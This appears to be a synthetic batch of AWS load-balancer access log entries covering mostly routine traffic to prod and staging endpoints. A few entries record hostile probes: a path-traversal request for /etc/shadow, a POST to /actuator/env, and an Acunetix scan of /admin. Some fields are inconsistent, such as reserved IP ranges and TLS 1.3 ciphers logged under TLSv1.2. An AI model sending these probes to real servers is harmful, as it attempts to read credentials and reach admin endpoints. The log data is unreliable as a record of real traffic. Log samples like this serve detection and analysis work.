2024-11-01T02:41:11.871958Z prod-api-alb 195.128.98.242:52518 10.0.253.253:443 0.070417 0.234410 0.097878 302 302 543 4777 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dd57-e531c68efe594b33a0c744ca" "prod-api-alb.example.com" "-" 9 2024-11-01T02:41:11.871958Z "forward" "-" "-" "10.0.253.253:443" "302" "-" "-" -https 2024-11-01T02:41:13.595257Z staging-alb 157.41.183.195:59450 138.37.208.229:8080 0.049871 0.126383 0.112842 200 200 672 8256 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dd59-cfec168e633f478b95209bfa" "staging-alb.example.com" "-" 0 2024-11-01T02:41:13.595257Z "forward" "-" "-" "138.37.208.229:8080" "200" "-" "-" -https 2024-11-01T02:41:14.904720Z prod-api-alb 156.129.226.51:19433 10.0.39.172:443 0.059396 0.077804 0.007965 302 302 40 12610 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dd5a-9b01c5fc97da4422aed0a7e4" "prod-api-alb.example.com" "-" 5 2024-11-01T02:41:14.904720Z "forward" "-" "-" "10.0.39.172:443" "302" "-" "-" -http 2024-11-01T02:41:16.017025Z staging-alb 124.96.51.88:64921 124.71.41.199:8080 0.073612 0.658558 0.146429 302 302 734 13442 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dd5c-16d045d5f29541a492ee649e" "staging-alb.example.com" "-" 10 2024-11-01T02:41:16.017025Z "forward" "-" "-" "124.71.41.199:8080" "302" "-" "-" -https 2024-11-01T02:41:16.183934Z staging-alb 119.113.145.3:52013 203.246.244.254:443 0.040645 0.720472 0.036646 404 404 202 11607 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dd5c-9f3a584ab65f403c93ed6f78" "staging-alb.example.com" "-" 0 2024-11-01T02:41:16.183934Z "forward" "-" "-" "203.246.244.254:443" "404" "-" "-" -https 2024-11-01T02:41:18.046937Z prod-web-alb 156.189.173.186:51393 10.0.36.67:443 0.036943 0.103589 0.005029 404 404 534 2540 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dd5e-421e2c9432ee4c51a22bdcf7" "prod-web-alb.example.com" "-" 6 2024-11-01T02:41:18.046937Z "forward" "-" "-" "10.0.36.67:443" "404" "-" "-" -https 2024-11-01T02:41:19.780053Z prod-web-alb 75.156.25.87:25913 10.0.57.39:443 0.057695 0.136357 0.007686 301 301 290 11015 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dd5f-39ea427d58a54f368a33a14b" "prod-web-alb.example.com" "-" 3 2024-11-01T02:41:19.780053Z "forward" "-" "-" "10.0.57.39:443" "301" "-" "-" -https 2024-11-01T02:41:21.264913Z prod-api-alb 69.122.77.94:59569 10.0.233.31:443 0.034079 0.176121 0.028928 200 200 546 14112 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dd61-a7dcdd349c12400bb6a66a85" "prod-api-alb.example.com" "-" 10 2024-11-01T02:41:21.264913Z "forward" "-" "-" "10.0.233.31:443" "200" "-" "-" -https 2024-11-01T02:41:23.068732Z staging-alb 231.242.63.215:24989 136.120.150.165:8080 0.013210 0.686111 0.060621 302 302 489 2375 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dd63-8f03a5bc611a4a7cbc608fc7" "staging-alb.example.com" "-" 4 2024-11-01T02:41:23.068732Z "forward" "-" "-" "136.120.150.165:8080" "302" "-" "-" -https 2024-11-01T02:41:24.303959Z staging-alb 223.79.50.108:34700 251.232.46.62:80 0.127600 0.577263 0.124112 200 200 99 10320 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dd64-6cd5fa7dce104ddeae79a00a" "staging-alb.example.com" "-" 3 2024-11-01T02:41:24.303959Z "forward" "-" "-" "251.232.46.62:80" "200" "-" "-" -https 2024-11-01T02:41:25.307245Z staging-alb 180.22.220.24:31238 37.49.25.42:8080 0.041167 0.664084 0.013030 404 404 725 7734 "GET /staging/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dd65-17944151add743a68e397300" "staging-alb.example.com" "-" 9 2024-11-01T02:41:25.307245Z "forward" "-" "-" "37.49.25.42:8080" "404" "-" "-" -https 2024-11-01T02:41:26.688774Z prod-web-alb 195.36.224.148:31409 10.0.15.27:443 0.083241 0.054473 0.035546 200 200 844 6308 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dd66-ba612de140484fbc8151869d" "prod-web-alb.example.com" "-" 6 2024-11-01T02:41:26.688774Z "forward" "-" "-" "10.0.15.27:443" "200" "-" "-" -https 2024-11-01T02:41:27.416191Z prod-web-alb 27.240.60.27:53760 10.0.98.74:443 0.018946 0.382167 0.028380 200 200 719 6672 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dd67-94f2e35965ff45098b811115" "prod-web-alb.example.com" "-" 8 2024-11-01T02:41:27.416191Z "forward" "-" "-" "10.0.98.74:443" "200" "-" "-" -https 2024-11-01T02:41:29.336748Z prod-api-alb 186.62.172.89:38092 10.0.49.16:443 0.088208 0.364354 0.022190 200 200 553 11596 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dd69-322db70650ca492087baf265" "prod-api-alb.example.com" "-" 9 2024-11-01T02:41:29.336748Z "forward" "-" "-" "10.0.49.16:443" "200" "-" "-" -https 2024-11-01T02:41:29.510379Z prod-api-alb 18.238.108.212:25693 10.0.3.86:443 0.008160 0.320177 0.076889 301 301 609 3153 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dd69-0364125439e94203892cb5c9" "prod-api-alb.example.com" "-" 4 2024-11-01T02:41:29.510379Z "forward" "-" "-" "10.0.3.86:443" "301" "-" "-" -https 2024-11-01T02:41:30.495456Z prod-web-alb 181.255.4.48:50186 10.0.131.109:443 0.025021 0.232100 0.017489 301 301 850 14041 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dd6a-72a24c68c16342d59d2b8a82" "prod-web-alb.example.com" "-" 3 2024-11-01T02:41:30.495456Z "forward" "-" "-" "10.0.131.109:443" "301" "-" "-" -https 2024-11-01T02:41:31.351644Z prod-api-alb 179.176.53.202:34756 10.0.179.27:443 0.071546 0.353986 0.013626 200 200 766 8060 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dd6b-7ac3224ebc764abb8ecab9ad" "prod-api-alb.example.com" "-" 1 2024-11-01T02:41:31.351644Z "forward" "-" "-" "10.0.179.27:443" "200" "-" "-" -https 2024-11-01T02:41:32.534447Z prod-web-alb 90.75.253.250:41321 10.0.10.44:443 0.011211 0.205157 0.089628 302 302 36 11396 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dd6c-1caa70b4a99c4ea589a283ca" "prod-web-alb.example.com" "-" 7 2024-11-01T02:41:32.534447Z "forward" "-" "-" "10.0.10.44:443" "302" "-" "-" -https 2024-11-01T02:41:33.268183Z staging-alb 69.170.87.39:19356 220.249.163.182:80 0.007196 0.721062 0.058307 200 200 443 6817 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dd6d-332f024f718d469abcd49857" "staging-alb.example.com" "-" 4 2024-11-01T02:41:33.268183Z "forward" "-" "-" "220.249.163.182:80" "200" "-" "-" -https 2024-11-01T02:41:34.462896Z prod-web-alb 165.160.134.81:37221 10.0.128.6:443 0.052563 0.263732 0.081108 200 200 897 10327 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dd6e-1e1e350b4f1c451ba2183c1f" "prod-web-alb.example.com" "-" 1 2024-11-01T02:41:34.462896Z "forward" "-" "-" "10.0.128.6:443" "200" "-" "-" -https 2024-11-01T02:41:35.012587Z prod-api-alb 181.107.112.46:13519 10.0.84.39:443 0.050635 0.168784 0.068129 200 200 98 12102 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dd6f-8436e958a75f47ad90477fd2" "prod-api-alb.example.com" "-" 1 2024-11-01T02:41:35.012587Z "forward" "-" "-" "10.0.84.39:443" "200" "-" "-" -https 2024-11-01T02:41:36.209847Z staging-alb 0.151.50.86:21045 41.91.28.23:8080 0.105019 0.699613 0.039777 200 200 180 7623 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dd70-d1b616bbc1a14783a6ead97e" "staging-alb.example.com" "-" 10 2024-11-01T02:41:36.209847Z "forward" "-" "-" "41.91.28.23:8080" "200" "-" "-" -https 2024-11-01T02:41:37.353851Z prod-api-alb 235.77.67.78:17354 10.0.246.75:443 0.091497 0.462823 0.077783 200 200 122 8349 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dd71-78837ebf6a074f6c978bc453" "prod-api-alb.example.com" "-" 2 2024-11-01T02:41:37.353851Z "forward" "-" "-" "10.0.246.75:443" "200" "-" "-" -https 2024-11-01T02:41:39.285608Z staging-alb 243.247.220.33:24158 222.5.98.172:8080 0.074318 0.003511 0.099224 200 200 897 3396 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dd73-7ab31d9a7da149d2b58353df" "staging-alb.example.com" "-" 2 2024-11-01T02:41:39.285608Z "forward" "-" "-" "222.5.98.172:8080" "200" "-" "-" -https 2024-11-01T02:41:40.406414Z prod-web-alb 193.27.228.26:33356 10.0.62.49:443 0.067586 0.197421 0.087678 404 404 486 10961 "GET /images/../../../../etc/shadow HTTP/1.1" "Go-http-client/2.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dd74-8e58ca1eccc14d8e885eba87" "-" "-" 7 2024-11-01T02:41:40.406414Z "forward" "-" "-" "10.0.62.49:443" "404" "-" "-" -https 2024-11-01T02:41:40.640184Z prod-api-alb 2.157.230.71:41018 10.0.56.100:443 0.022507 0.438520 0.030141 404 404 274 1258 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dd74-16e4964ccb624f329943fa30" "prod-api-alb.example.com" "-" 2 2024-11-01T02:41:40.640184Z "forward" "-" "-" "10.0.56.100:443" "404" "-" "-" -http 2024-11-01T02:41:41.059739Z staging-alb 195.0.220.137:40475 152.139.99.18:8080 0.060165 0.222039 0.091166 301 301 260 740 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dd75-4e5bd006d3e8445090eed991" "staging-alb.example.com" "-" 0 2024-11-01T02:41:41.059739Z "forward" "-" "-" "152.139.99.18:8080" "301" "-" "-" -https 2024-11-01T02:41:41.865070Z prod-web-alb 37.130.169.103:36697 10.0.40.239:443 0.050266 0.420224 0.036976 200 200 934 788 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dd75-5ec214f2a98149bba9b80b1f" "prod-web-alb.example.com" "-" 6 2024-11-01T02:41:41.865070Z "forward" "-" "-" "10.0.40.239:443" "200" "-" "-" -https 2024-11-01T02:41:43.107947Z prod-web-alb 193.27.228.139:22419 10.0.179.61:443 0.026187 0.031966 0.027920 403 403 721 4998 "POST /actuator/env HTTP/1.1" "python-requests/2.31.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dd77-d61434a6a3c2466d9f5dcc20" "-" "-" 4 2024-11-01T02:41:43.107947Z "forward" "-" "-" "10.0.179.61:443" "403" "-" "-" -https 2024-11-01T02:41:43.627104Z prod-web-alb 177.108.47.168:32369 10.0.131.96:443 0.071673 0.277067 0.049695 301 301 485 5902 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dd77-6551072aea0e40478f2c4800" "prod-web-alb.example.com" "-" 0 2024-11-01T02:41:43.627104Z "forward" "-" "-" "10.0.131.96:443" "301" "-" "-" -https 2024-11-01T02:41:44.035414Z prod-web-alb 34.70.93.70:27356 10.0.222.252:443 0.032375 0.479304 0.007893 404 404 390 14545 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dd78-7f16925137cb4023a88a3841" "-" "-" 3 2024-11-01T02:41:44.035414Z "forward" "-" "-" "10.0.222.252:443" "404" "-" "-" -https 2024-11-01T02:41:44.852440Z prod-web-alb 168.11.94.44:48532 10.0.10.138:443 0.069601 0.457873 0.032818 200 200 933 3374 "GET /checkout HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dd78-1ef97d35e2674ec6b0a210e0" "prod-web-alb.example.com" "-" 7 2024-11-01T02:41:44.852440Z "forward" "-" "-" "10.0.10.138:443" "200" "-" "-" -https 2024-11-01T02:41:46.387482Z prod-api-alb 16.116.93.77:50339 10.0.121.102:443 0.023902 0.404832 0.037023 200 200 930 12809 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dd7a-681de66fd52142dba1b54cd8" "prod-api-alb.example.com" "-" 4 2024-11-01T02:41:46.387482Z "forward" "-" "-" "10.0.121.102:443" "200" "-" "-" -https 2024-11-01T02:41:47.855550Z prod-api-alb 183.158.209.247:22745 10.0.189.105:443 0.062578 0.039190 0.032635 302 302 924 8347 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dd7b-d5757f8ade08499bbe94f751" "prod-api-alb.example.com" "-" 4 2024-11-01T02:41:47.855550Z "forward" "-" "-" "10.0.189.105:443" "302" "-" "-" -https 2024-11-01T02:41:49.057388Z prod-api-alb 98.139.181.107:41197 10.0.152.129:443 0.083817 0.459007 0.040358 302 302 166 14936 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dd7d-d2663cd48a294e76a2b9d783" "prod-api-alb.example.com" "-" 6 2024-11-01T02:41:49.057388Z "forward" "-" "-" "10.0.152.129:443" "302" "-" "-" -https 2024-11-01T02:41:49.934004Z prod-api-alb 80.81.202.100:64471 10.0.149.104:443 0.053293 0.346531 0.086854 200 200 566 674 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dd7d-e2682c0fca314fc1be8a8c55" "prod-api-alb.example.com" "-" 10 2024-11-01T02:41:49.934004Z "forward" "-" "-" "10.0.149.104:443" "200" "-" "-" -https 2024-11-01T02:41:51.395941Z prod-api-alb 148.65.252.170:16781 10.0.194.251:443 0.060359 0.001742 0.057150 200 200 327 10547 "GET /api/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dd7f-ed6316aa8de2446b8c399c34" "prod-api-alb.example.com" "-" 9 2024-11-01T02:41:51.395941Z "forward" "-" "-" "10.0.194.251:443" "200" "-" "-" -https 2024-11-01T02:41:51.968020Z prod-api-alb 57.67.30.196:11039 10.0.68.216:443 0.090719 0.107636 0.056697 200 200 211 10783 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dd7f-df98c75697034bb0a60a6bc9" "prod-api-alb.example.com" "-" 7 2024-11-01T02:41:51.968020Z "forward" "-" "-" "10.0.68.216:443" "200" "-" "-" -https 2024-11-01T02:41:52.180714Z prod-api-alb 129.73.179.41:59452 10.0.37.164:443 0.073187 0.468874 0.011633 302 302 412 6561 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dd80-986f9fc9cd1b4bc180bbe940" "-" "-" 4 2024-11-01T02:41:52.180714Z "forward" "-" "-" "10.0.37.164:443" "302" "-" "-" -https 2024-11-01T02:41:53.703055Z prod-api-alb 225.19.139.99:34965 10.0.175.52:443 0.005954 0.412053 0.029064 404 404 825 6910 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dd81-4869e019f73d40868ba33f30" "prod-api-alb.example.com" "-" 8 2024-11-01T02:41:53.703055Z "forward" "-" "-" "10.0.175.52:443" "404" "-" "-" -https 2024-11-01T02:41:54.450725Z prod-web-alb 45.162.238.198:30830 10.0.31.244:443 0.037123 0.393486 0.024998 200 200 410 6349 "GET /products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dd82-84d9e65f706b427f81cc289e" "prod-web-alb.example.com" "-" 3 2024-11-01T02:41:54.450725Z "forward" "-" "-" "10.0.31.244:443" "200" "-" "-" -http 2024-11-01T02:41:54.616922Z staging-alb 176.22.90.238:39883 130.145.51.144:8080 0.025926 0.243908 0.001676 200 200 758 2586 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dd82-033f1cb8748d409abcc0ca75" "staging-alb.example.com" "-" 2 2024-11-01T02:41:54.616922Z "forward" "-" "-" "130.145.51.144:8080" "200" "-" "-" -https 2024-11-01T02:41:54.786446Z prod-api-alb 98.197.81.245:59705 10.0.70.159:443 0.093857 0.324081 0.087895 200 200 998 11654 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dd82-cc63f4cab03a4d79b4b12207" "prod-api-alb.example.com" "-" 6 2024-11-01T02:41:54.786446Z "forward" "-" "-" "10.0.70.159:443" "200" "-" "-" -https 2024-11-01T02:41:55.393520Z staging-alb 39.222.168.185:34670 66.111.206.236:80 0.032280 0.667864 0.041106 200 200 185 13759 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dd83-4d5591ed4bca45c8b0c8b4f1" "staging-alb.example.com" "-" 7 2024-11-01T02:41:55.393520Z "forward" "-" "-" "66.111.206.236:80" "200" "-" "-" -https 2024-11-01T02:41:56.204716Z staging-alb 218.167.51.16:47912 78.57.22.186:8080 0.035772 0.171337 0.000655 200 200 959 3894 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dd84-a4c0bbd9064347178e2622c2" "staging-alb.example.com" "-" 3 2024-11-01T02:41:56.204716Z "forward" "-" "-" "78.57.22.186:8080" "200" "-" "-" -https 2024-11-01T02:41:58.177331Z prod-web-alb 144.170.64.213:37571 10.0.191.108:443 0.072121 0.230289 0.057082 404 404 285 13608 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dd86-6dd70a8618b140a3af351663" "prod-web-alb.example.com" "-" 7 2024-11-01T02:41:58.177331Z "forward" "-" "-" "10.0.191.108:443" "404" "-" "-" -http 2024-11-01T02:41:59.692882Z staging-alb 81.214.99.205:25582 181.248.60.185:8080 0.033772 0.169378 0.014995 200 200 231 10259 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dd87-e72ce8bd144e44f99cea7fb3" "staging-alb.example.com" "-" 7 2024-11-01T02:41:59.692882Z "forward" "-" "-" "181.248.60.185:8080" "200" "-" "-" -https 2024-11-01T02:41:59.852715Z prod-web-alb 185.181.101.174:26924 10.0.151.149:443 0.092934 0.027966 0.001913 301 301 602 7510 "POST /admin HTTP/1.1" "Acunetix-Agent" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 